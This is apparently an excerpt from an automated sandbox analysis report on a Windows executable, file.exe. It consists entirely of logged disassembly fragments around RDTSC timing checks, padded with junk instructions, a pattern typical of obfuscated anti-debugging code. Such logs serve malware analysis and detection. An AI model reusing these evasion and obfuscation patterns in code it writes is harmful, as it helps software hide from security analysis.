Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0502 second address: DB0545 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F6A8934DFA4h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e js 00007F6A8934DF9Ch 0x00000014 jbe 00007F6A8934DF96h 0x0000001a pushad 0x0000001b push edi 0x0000001c pop edi 0x0000001d jng 00007F6A8934DF96h 0x00000023 jmp 00007F6A8934DF9Dh 0x00000028 popad 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB07EC second address: DB080D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB080D second address: DB0811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB09A6 second address: DB09AC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB09AC second address: DB09B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB09B2 second address: DB09C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB09C7 second address: DB09DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A8934DFA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63200 second address: D63266 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 mov ebx, dword ptr [ebp+12486362h] 0x0000000e sub dx, A13Ch 0x00000013 add eax, ebx 0x00000015 pushad 0x00000016 movsx edx, cx 0x00000019 push esi 0x0000001a mov dword ptr [ebp+122D30C8h], ecx 0x00000020 pop edx 0x00000021 popad 0x00000022 push eax 0x00000023 jg 00007F6A88D62F2Eh 0x00000029 mov dword ptr [esp], eax 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007F6A88D62F28h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 mov dx, cx 0x00000049 push 00000004h 0x0000004b sub dh, FFFFFFA4h 0x0000004e nop 0x0000004f pushad 0x00000050 jnp 00007F6A88D62F2Ch 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63266 second address: D63276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63276 second address: D6327A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6327A second address: D63280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4C26 second address: DB4C48 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6A88D62F38h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5358 second address: DB535E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB535E second address: DB5363 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB54F1 second address: DB54FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6A8934DF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB54FB second address: DB54FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBDAB9 second address: DBDABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBDABE second address: DBDAC8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6A88D62F2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBBAAA second address: DBBAAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBBAAE second address: DBBAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBBAB7 second address: DBBABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC67D second address: DBC683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC93F second address: DBC945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD4D2 second address: DBD4D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD4D8 second address: DBD4EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6A8934DFA2h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD4EF second address: DBD4F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD4F4 second address: DBD4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD4FA second address: DBD53F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F6A88D62F34h 0x0000000d jmp 00007F6A88D62F2Ah 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F6A88D62F38h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD53F second address: DBD547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD7FD second address: DBD809 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F6A88D62F26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0AA1 second address: DC0ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007F6A8934DF96h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jl 00007F6A8934DF96h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0ABE second address: DC0AC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0C12 second address: DC0C59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DFA6h 0x00000007 jmp 00007F6A8934DFA7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6A8934DFA4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0C59 second address: DC0C85 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6A88D62F26h 0x00000008 js 00007F6A88D62F26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ecx 0x00000011 pushad 0x00000012 jmp 00007F6A88D62F37h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0C85 second address: DC0CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A8934DFA8h 0x00000009 jnl 00007F6A8934DF96h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC113D second address: DC1141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5D63 second address: DC5D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6A8934DF96h 0x0000000a jmp 00007F6A8934DF9Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF130 second address: DCF143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6A88D62F26h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F6A88D62F26h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF143 second address: DCF147 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF147 second address: DCF14D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCDF12 second address: DCDF47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DFA7h 0x00000007 jmp 00007F6A8934DFA4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCDF47 second address: DCDF50 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCE7BA second address: DCE7BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCE7BE second address: DCE7D2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6A88D62F26h 0x00000008 jmp 00007F6A88D62F2Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCE7D2 second address: DCE821 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6A8934DF9Eh 0x00000008 jmp 00007F6A8934DF9Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F6A8934DFA4h 0x00000015 jmp 00007F6A8934DFA8h 0x0000001a push esi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCEF4A second address: DCEF57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCEF57 second address: DCEF5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCEF5B second address: DCEFA5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F6A88D62F39h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F6A88D62F39h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jne 00007F6A88D62F26h 0x0000001b popad 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCEFA5 second address: DCEFD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6A8934DFA3h 0x0000000b jmp 00007F6A8934DF9Ch 0x00000010 pushad 0x00000011 jnl 00007F6A8934DF96h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCCE06 second address: DCCE0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8731 second address: DD8752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6A8934DFA8h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8752 second address: DD8756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8756 second address: DD8760 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6A8934DF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD88C3 second address: DD88D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F32h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE61A1 second address: DE61AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F6A8934DF96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE61AD second address: DE61B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE62DE second address: DE62E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE9993 second address: DE99CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A88D62F38h 0x00000009 jp 00007F6A88D62F26h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F6A88D62F2Dh 0x00000018 jno 00007F6A88D62F26h 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE99CF second address: DE99F5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop edi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c jmp 00007F6A8934DFA5h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE99F5 second address: DE9A0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE9B32 second address: DE9B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB3A3 second address: DEB3A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB3A9 second address: DEB3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB3AD second address: DEB3B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DED6DC second address: DED6E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1C8F second address: DF1CC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6A88D62F35h 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 je 00007F6A88D62F26h 0x00000019 jnp 00007F6A88D62F26h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1CC7 second address: DF1CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3370 second address: DF3392 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jg 00007F6A88D62F26h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8CA5 second address: DF8CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F6A8934DF9Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC482 second address: DFC48C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC32B second address: DFC340 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DF9Eh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC340 second address: DFC34C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6A88D62F26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E040E9 second address: E040ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02E4C second address: E02E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02E50 second address: E02E54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02FD4 second address: E02FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02FDA second address: E02FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02FE2 second address: E02FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F6A88D62F26h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02FF3 second address: E02FF9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02FF9 second address: E03016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6A88D62F35h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03016 second address: E0301A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03177 second address: E0317B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0317B second address: E0317F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0317F second address: E0318F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A88D62F2Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0318F second address: E03195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13AE4 second address: E13AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13AE8 second address: E13AF2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6A8934DF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27823 second address: E27828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D4FA second address: E3D500 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C402 second address: E3C406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C406 second address: E3C420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6A8934DFA2h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C420 second address: E3C428 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C428 second address: E3C43B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F6A8934DF9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C73A second address: E3C757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F39h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D211 second address: E3D22E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F6A8934DF9Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F6A8934DF98h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D22E second address: E3D24B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F6A88D62F26h 0x00000009 jnp 00007F6A88D62F26h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6A88D62F2Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3EADA second address: E3EAED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A8934DF9Eh 0x00000009 popad 0x0000000a rdtsc
